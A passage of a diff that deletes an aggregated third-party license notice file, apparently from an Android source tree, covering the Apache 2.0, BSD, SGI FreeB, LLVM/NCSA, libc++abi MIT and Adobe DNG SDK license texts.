-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-======================================================================
-external/skia/NOTICE
-
-// Copyright (c) 2011 Google Inc. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-//    * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-//    * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-//    * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-=========================================================================
-
-The SKIA library also includes a third-party dependency on a nearly
-verbatim copy of the GLU tessellator source code from SGI's OpenGL Sample
-Implementation at http://oss.sgi.com/projects/ogl-sample/. Per
-http://oss.sgi.com/projects/FreeB/, the code is covered under the SGI
-Free Software License B, version 2.0, a copy of which is included below.
-
-SGI FREE SOFTWARE LICENSE B (Version 2.0, Sept. 18, 2008)
-
-Copyright (C) [dates of first publication] Silicon Graphics, Inc. All
-Rights Reserved.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice including the dates of first publication
-and either this permission notice or a reference to HYPERLINK
-"http://oss.sgi.com/projects/FreeB/"http://oss.sgi.com/projects/FreeB/
-shall be included in all copies or substantial portions of the
-Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL SILICON GRAPHICS, INC. BE LIABLE
-FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
-CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-Except as contained in this notice, the name of Silicon Graphics,
-Inc. shall not be used in advertising or otherwise to promote the
-sale, use or other dealings in this Software without prior written
-authorization from Silicon Graphics, Inc.
-
-
-======================================================================
-external/llvm/NOTICE
-
-==============================================================================
-LLVM Release License
-==============================================================================
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2003-2014 University of Illinois at Urbana-Champaign.
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-Copyrights and Licenses for Third Party Software Distributed with LLVM:
-==============================================================================
-The LLVM software contains code written by third parties.  Such software will
-have its own individual LICENSE.TXT file in the directory in which it appears.
-This file will describe the copyrights, license, and restrictions which apply
-to that code.
-
-The disclaimer of warranty in the University of Illinois Open Source License
-applies to all code in the LLVM Distribution, and nothing in any of the
-other licenses gives permission to use the names of the LLVM Team or the
-University of Illinois to endorse or promote products derived from this
-Software.
-
-The following pieces of software have additional or alternate copyrights,
-licenses, and/or restrictions:
-
-Program             Directory
--------             ---------
-Autoconf            llvm/autoconf
-                    llvm/projects/ModuleMaker/autoconf
-Google Test         llvm/utils/unittest/googletest
-OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
-pyyaml tests        llvm/test/YAMLParser/{*.data, LICENSE.TXT}
-ARM contributions   llvm/lib/Target/ARM/LICENSE.TXT
-md5 contributions   llvm/lib/Support/MD5.cpp llvm/include/llvm/Support/MD5.h
-
-======================================================================
-art/NOTICE
-
-
-   Copyright (c) 2005-2013, The Android Open Source Project
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-======================================================================
-tools/apksig/LICENSE
-
-
-   Copyright (c) 2016, The Android Open Source Project
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-======================================================================
-external/libcxxabi/NOTICE
-
-==============================================================================
-libc++abi License
-==============================================================================
-
-The libc++abi library is dual licensed under both the University of Illinois
-"BSD-Like" license and the MIT license.  As a user of this code you may choose
-to use it under either license.  As a contributor, you agree to allow your code
-to be used under both.
-
-Full text of the relevant licenses is included below.
-
-==============================================================================
-
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2009-2014 by the contributors listed in CREDITS.TXT
-
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-
-Copyright (c) 2009-2014 by the contributors listed in CREDITS.TXT
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
-======================================================================
-prebuilts/go/linux-x86/LICENSE
-
-Copyright (c) 2009 The Go Authors. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-   * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-   * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-   * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/dng_sdk/LICENSE
-
-This product includes DNG technology under license by Adobe Systems
-Incorporated.
-
-DNG SDK License Agreement
-NOTICE TO USER:
-Adobe Systems Incorporated provides the Software and Documentation for use under
-the terms of this Agreement. Any download, installation, use, reproduction,
-modification or distribution of the Software or Documentation, or any
-derivatives or portions thereof, constitutes your acceptance of this Agreement.
-
-As used in this Agreement, "Adobe" means Adobe Systems Incorporated. "Software"
-means the software code, in any format, including sample code and source code,
-accompanying this Agreement. "Documentation" means the documents, specifications
-and all other items accompanying this Agreement other than the Software.
-
